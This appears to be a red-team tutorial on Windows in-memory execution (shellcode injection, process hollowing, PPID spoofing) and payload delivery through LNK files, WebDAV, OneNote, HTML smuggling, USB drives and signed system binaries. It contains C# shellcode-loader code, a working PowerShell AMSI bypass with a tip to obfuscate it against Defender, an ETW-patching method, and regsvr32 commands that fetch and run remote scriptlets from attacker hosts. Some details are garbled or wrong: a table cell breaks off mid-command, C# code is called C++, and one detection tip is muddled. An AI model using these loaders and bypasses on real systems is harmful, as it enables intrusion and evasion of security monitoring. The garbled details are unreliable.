Advanced Windows In-Memory Execution and Payload Delivery Techniques for Red Teaming (2025)

[Wiz]

1. Advanced In-Memory Execution Techniques​

Red team operators increasingly favor fileless payloads that execute entirely in memory, leaving few forensic traces. Reflective injection, native shellcode loaders, and process-injection tricks allow malicious code to run without dropping a binary to disk. For example, reflective DLL injection lets an attacker load a DLL from memory rather than from disk. In this method, a specially crafted “reflective” DLL contains a small loader stub that maps its own sections into the target process, resolves imports, and calls its DllMain – all on-the-fly. Because the DLL never exists as a file on disk, antivirus or file-integrity checks are circumvented. Tools like Metasploit and Cobalt Strike exploit reflective loaders, and open-source helpers (e.g. Donut) can even convert .NET or .EXE payloads into position-independent shellcode that creates a CLR AppDomain in memory. In one example, Donut’s shellcode uses the unmanaged CLR hosting API to load a .NET assembly directly from memory and then frees the raw image bytes (via VirtualFree) to hide them from memory scanners.


Once code is in memory, it can execute by simple C/C++ or C# injection routines. A basic shellcode injection might allocate executable memory (VirtualAlloc(…, PAGE_EXECUTE_READWRITE)), copy raw shellcode bytes in, and then create a thread to run it. For instance, a classic C++ injector could do:

IntPtr exec = VirtualAlloc(IntPtr.Zero, (UInt32)shellcode.Length, 0x1000 | 0x2000, 0x40);
Marshal.Copy(shellcode, 0, exec, shellcode.Length);
CreateThread(IntPtr.Zero, 0, exec, IntPtr.Zero, 0, out uint tid);

This allocates RWX memory, writes the shellcode, and launches it. In remote injection, the sequence is similar: use VirtualAllocEx + WriteProcessMemory in the target and then CreateRemoteThread. Alternative APC/fiber techniques (e.g. QueueUserAPC or NtQueueApcThread) can execute shellcode in an existing thread context as well. Red teams often implement such payloads in C (via P/Invoke from C# or PowerShell), or even directly in PowerShell (using Add-Type to declare VirtualAlloc/CreateThread and then copying a downloaded shellcode byte array into memory).


Another in-memory trick is process hollowing (ATT&CK T1055.012). Here, the attacker creates a legitimate process in a suspended state (e.g. CreateProcess(..., CREATE_SUSPENDED)), unmaps its original code section (via NtUnmapViewOfSection/ZwUnmapViewOfSection), and writes malicious code into it. When resumed, the “hollowed” process executes the attacker’s code under the guise of the original executable. This can defeat simple process-based defenses because Windows still reports the trusted process name. In practice, the hollowing code will: 1. Create a suspended system process (e.g. svchost.exe), 2. Unmap its sections, 3. VirtualAllocEx in that process, 4. WriteProcessMemory the payload, 5. SetThreadContext to point to the new entry point, and 6. resume the thread. As an example, a hollowed process may appear as explorer.exe to userland, hiding the payload. Red teams sometimes combine hollowing with parent PID (PPID) spoofing (a sub-technique of T1134.001) to further disguise ancestry. By using the InitializeProcThreadAttributeList and UpdateProcThreadAttribute APIs, an attacker can spawn a process with an arbitrary parent. This makes the malicious process seem to have been launched by a benign parent (like winlogon.exe or explorer.exe), camouflaging its origin. For instance, one can set the PPID to a known safe process ID when calling CreateProcess, helping evade detections that flag unusual parent–child relationships.


Because modern defenders rely heavily on Windows telemetry, red teams must also neutralize built-in security hooks. Microsoft’s Anti-Malware Scan Interface (AMSI) and Event Tracing for Windows (ETW) will normally catch in-memory scripts and DLL behaviors. Classic AMSI bypass involved patching functions like AmsiScanBuffer in memory (e.g. overwriting the first bytes with a jump) so that any scan returns “clean.” However, memory-patching AMSI is noisy – it requires VirtualProtect-style calls that can trigger alerts. Instead, newer “patchless” AMSI bypasses use debug techniques. For example, a recent technique (presented at Black Hat 2023) sets a hardware breakpoint on the AmsiScanBuffer function and registers a vectored exception handler (VEH). When the breakpoint hits, the VEH manipulates the thread context to skip the real AMSI call and return success, all without modifying the target function’s code. In short, by triggering an EXCEPTION_SINGLE_STEP on AmsiScanBuffer, the payload avoids scanning silently.


Similarly, attackers patch ETW to suppress logging of .NET and native events. Since .NET Framework 4.8 integrated AMSI and ETW for every managed assembly, many in-memory .NET loaders will disable both. A common tactic is to locate ntdll!EtwEventWrite (the API called by all user-mode ETW providers) and overwrite its prologue with a single RET (opcode 0xC3). The effect is that any ETW event “write” returns immediately. For example, one C# routine uses reflection to find the EtwEventWrite function address and writes the RET opcode, effectively silencing all CLR/ETW telemetry. In summary, by unhooking AMSI and ETW in-memory, red teams can launch PowerShell or .NET payloads with minimal traces.

Code Example: AMSI Bypass in PowerShell​

A typical PowerShell AMSI bypass uses .NET reflection to disable AMSI’s scan. For instance:

$amsiType = [Type] "System.Management.Automation.AmsiUtils"
$field    = $amsiType.GetField("amsiInitFailed","NonPublic,Static")
$field.SetValue($null,$true)

This forces AmsiUtils.amsiInitFailed = true, causing subsequent script scans to return AMSI_RESULT_NOT_DETECTED. (Notably, simple string matches in Defender may catch this exact pattern, so red teams often obfuscate or split the string.)

Languages and Tools for In-Memory Payloads​

In practice, these techniques are implemented in C++, C#, and PowerShell. Native C++ payloads give fine-grained control (using Windows APIs as above). C# and PowerShell are popular for ease of development and use of .NET features. For example, the MSBuild launch technique embeds C# code in an XML project: the inline C# invokes VirtualAlloc and CreateThread via DllImport (see excerpt) to run shellcode.

// Example C# injector (as in MSBuild inline task)
using System;
using System.Runtime.InteropServices;
static extern UInt32 VirtualAlloc(UInt32 addr, UInt32 size, UInt32 type, UInt32 prot);
static extern IntPtr CreateThread(UInt32 attr, UInt32 stack, UInt32 start, IntPtr param, UInt32 flags, ref UInt32 tid);
byte[] shellcode = new byte[]{ /* ... */ };
UInt32 mem = VirtualAlloc(0, (UInt32)shellcode.Length, 0x1000|0x2000, 0x40);
Marshal.Copy(shellcode, 0, (IntPtr)mem, shellcode.Length);
CreateThread(0,0,mem,IntPtr.Zero,0,ref _);

This pattern is similar to a pure C# loader. Likewise, PowerShell can P/Invoke the same APIs via Add-Type or [DllImport] attributes to load and execute raw shellcode or managed assemblies in memory. Community tools like Donut or SharpSploit’s Loader modules automate generating such payloads in C#/.NET.

2. Updated Payload Delivery Methods​

Sophisticated payloads also rely on creative delivery. Common Windows delivery vectors – malicious shortcuts, Office files, web protocols, and USB drives – have evolved with new tricks. Below we summarize key methods and real-world examples.

Delivery Method	Description	Examples / References
Weaponized .LNK (Shortcuts)	A crafted Windows shortcut whose “target” is a command (cmd, mshta, PowerShell, etc.) often leading to a staged download or execution.	E.g. .LNK invoking cmd.exe /c curl… to fetch an HTA, as in a 2025 KimJongRAT campaign; or LNK launching mshta.exe to run a hidden JS/VBS downloader.
WebDAV (Network Drive)	Abuse of Windows Search/WebDAV: a search-ms: or WebDAV path to open a remote folder in Explorer containing payloads.	ITG05 used a malicious search-ms URL to open a WebDAV “saved search,” presenting a .LNK that, when clicked, ran an embedded PowerShell command to pull a payload.
OneNote & Office Files	Malicious Office documents or OneNote notebooks that embed active objects. Attackers hide scripts/executables behind images/buttons.	Unit42 documented OneNote files with embedded VBScript or EXE behind a “Click to View” button. Office OLE objects (e.g. OLE Flash, VB macros) are similarly used as dropper stages.
HTML Smuggling	Malicious HTML email or webpage contains obfuscated JavaScript that reconstructs a binary client-side (using Blob APIs) and saves it.	Qakbot campaigns deliver HTML attachments; the JS code builds a ZIP (via msSaveOrOpenBlob) containing a .LNK. Opening that LNK then uses cmd/wscript to download and execute the Qakbot DLL with Rundll32.
USB/Physical Drives	Malicious USB devices or dropped media. In lieu of autorun (disabled by default), use HID devices or disguised payloads on drives.	Raspberry Robin: an infected USB defaults to running a hidden .LNK which invokes msiexec to fetch malware. For example, insertion of a compromised drive triggered `cmd.exe /c type QLiet.sAV
Living-off-the-Land Binaries (LOLBAS)	Use of signed Windows binaries/scripts to sidestep restrictions and appear benign.	Common abuse: mshta.exe (to run HTA/JS), wscript.exe/cscript.exe (for .vbs/.js), rundll32.exe (load DLL in memory), and regsvr32.exe (COM scriptlet loader). Notably, Regsvr32 can fetch remote scripts: using regsvr32 /s /n /i:http://attacker/sct scrobj.dll (“Squiblydoo”), an adversary loads a scriptlet from a URL without registry changes.

Weaponized LNK Files​

Malicious shortcuts (.LNK) are a perennial vector because they can launch any executable/script. A .LNK file specifies a Target and Arguments, allowing it to run tools like mshta.exe, powershell.exe, wscript.exe, or even cmd.exe with URL-download commands. For instance, one campaign’s .LNK used mshta.exe to run a downloaded HTA: after the LNK invoked MSHTA.exe, the embedded HTML/VBScript fetched the payload. In a 2025 KimJongRAT wave, the shortcut simply ran cmd.exe and curl.exe to pull a malicious HTA from a CDN.


Attackers may also abuse DLL sideloading via LNK. A shortcut can launch rundll32.exe or regsvr32.exe to load a malicious DLL or script. For example, using Regsvr32’s network feature (ATT&CK T1218.010) one can specify regsvr32 /s /n /i:http://evil/launch.sct scrobj.dll on a LNK, which downloads and runs the scriptlet from the web. Because regsvr32.exe is Microsoft-signed and its network protocol isn’t often blocked, this “Squiblydoo” technique has been used to bypass application whitelisting. Likewise, an LNK could point to a legitimate-but-compromised executable (DLL sideload): e.g. using a fake Start In path or relative network share so that office.exe loads a malicious DLL in the same folder.

WebDAV Exploitation​

WebDAV shares and “search-ms” URLs provide a stealthy delivery channel. A common trick is to host payloads on an HTTP/WebDAV server and craft a search-ms: protocol link (often via a malicious website). When clicked, Windows asks permission to open File Explorer, then mounts the remote saved search XML. The user sees a folder (named by the lure) that contains the attacker’s .LNK or EXE. In a recent ITG05 campaign, clicking a malicious button on a lure page executed JavaScript that opened a search-ms: URL to a WebDAV server. This caused Explorer to display a “Documents” window with the malicious .LNK inside. When the target clicked that .LNK, its embedded PowerShell command ran, fetching a Python payload from the WebDAV host. (In later variants, the LNK itself was pointed directly at a remote executable path on WebDAV.) Detection tips include monitoring use of davclnt.dll and unexpected SMB/WebDAV mounts, as well as watching for Office binaries running from %SystemRoot%\System32\davclnt.dll.

OneNote and Office File Abuse​

With VBA macros disabled by default, adversaries have shifted to abusing other MS Office formats. OneNote notebooks (*.one) are now weaponized by embedding malicious objects. A OneNote file is essentially a package that can contain files (including scripts or EXEs). Attackers often add a decoy image or button and hide the malicious payload behind it. For example, a OneNote might display “Click to View” on a fake document image, but the button’s link is actually an embedded .vbs or .exe. Palo Alto’s Unit42 found that common payloads inside OneNote include JavaScript, VBScript, PowerShell scripts, HTA files, or even Office 97-2003 OLE objects. In one sample, hovering over a “View” button showed File:press to unblock document.vbs (89 KB), and clicking it ran the VBS payload. Another used a “CLICK TO VIEW DOCUMENT” button to execute an embedded malicious EXE. Attackers similarly abuse Word, Excel, and Outlook attachments by embedding OLE objects (Flash, 2K3 documents, etc.) that run upon opening. These methods leverage user trust in Office applications and often bypass simple attachment filters, since the malicious code isn’t present until runtime.

HTML Smuggling​

HTML smuggling is the technique of sending a malicious payload inside an HTML or email attachment by letting the victim’s browser reconstruct it. The HTML/JS code carries the payload (often an encrypted ZIP, ISO, or VHD) in Base64 or obfuscated form and uses browser APIs (Blob, msSaveOrOpenBlob, etc.) to write it to disk. Because the malware bytes never travel over the network as a file, network defenses are often bypassed. For example, Trustwave observed Qakbot distributing HTML attachments that used obfuscated JavaScript to assemble and download an encrypted ZIP. The HTML attachment contained the decryption key or used a hardcoded password in the JS. Opening that HTML in a browser silently saved a ZIP. Inside the ZIP was a Windows Shortcut (.LNK). When the victim clicked the LNK, it ran a chain of native tools: cmd.exe created a folder, curl.exe fetched a .js script, and wscript.exe executed it. That script then downloaded the actual Qakbot DLL, which was executed via rundll32.exe. In Trustwave’s diagram, the final payload was loaded with Rundll32 and then injected into explorer.exe. Thus HTML smuggling can be part of a multi-stage chain that ultimately uses LOLBAS (e.g. rundll32) for stealth.

USB and Physical Access Vectors​

Although less “virtual,” physical media remain a valid vector. Automating attacks via USB has evolved beyond autorun (which is disabled in modern Windows). The “Raspberry Robin” campaign (2021–2023) illustrates a recent USB attack: plugging in a thumb drive launched a hidden process chain that fetched malware. Red Canary reports that an infected USB had a specially-named file (often with a random extension). The system’s cmd.exe was instructed to type that file (via a weird cmd /c TYPE file | cmd) which executed the hidden .LNK inside. That LNK contained an msiexec /quiet command pointing to a URL. Msiexec then downloaded and installed a malicious DLL into %ProgramData%. In summary, the USB drive auto-triggered Windows Installer to pull down malware – all without the user knowingly running anything. Beyond thumb drives, red teams use HID devices (e.g. USB Rubber Ducky) that emulate keyboards: on insertion they “type” payload commands at machine-speeds. (Such devices can launch PowerShell, chain keystrokes, or drop scripts as if by user.) Other physical tactics include compromising peripheral firmware or BIOS/UEFI, though these are specialty cases.

Living-Off-the-Land Binaries in Delivery Chains​

Throughout these delivery methods, attackers leverage legitimate Windows binaries – the so-called LOLBAS. Common examples include mshta.exe (executes .hta or scripts), powershell.exe, wscript.exe/cscript.exe (runs VBScript/JS), and rundll32.exe. Using signed system tools means built-in allowlists or whitelisting often let them run unchecked. For instance, a .LNK might not directly call malware.exe but instead launch mshta.exe with a remote HTML application payload. In one case cited by TrendMicro, the malicious LNK executed MSHTA, which ran an obfuscated script to download PowerShell; that PowerShell then opened a reverse shell. As noted above, Regsvr32 is frequently abused to load scripts or DLLs: it can fetch a remote script (via a URL) and execute it without dropping a file. Even utilities like certutil.exe or bitsadmin.exe (for downloading files) are popular. By chaining these, the actual payload never appears on disk in a scanner-detectable form.

Detection Evasion Strategies​

Each of the above techniques has associated stealth measures. In-memory execution itself evades signature scanners because there is no malicious file on disk. Injecting code into trusted processes (hollowing, PPID spoofing) hides code in a benign context. Disabling AMSI/ETW suppresses red flags from Windows security logs. Payload download chains often use HTTPS/CDNs (as with KimJongRAT) or short-lived URLs (as ITG05 did) to avoid network blocks. In social engineering vectors, decoy documents (PDFs, images) distract the user from the payload. Using signed binaries (LOLBAS) bypasses app allowlists. Finally, obfuscation (e.g. Base64 or string-encoded commands), randomizing filenames/URIs, and multi-stage chains all increase complexity. Defenders must therefore correlate behavior: e.g. unusual mshta.exe or rundll32.exe launches, search-ms: requests, or unexpected WebDAV mounts. But in sum, these advanced methods extend the arsenal of stealthy Windows payload delivery in 2025.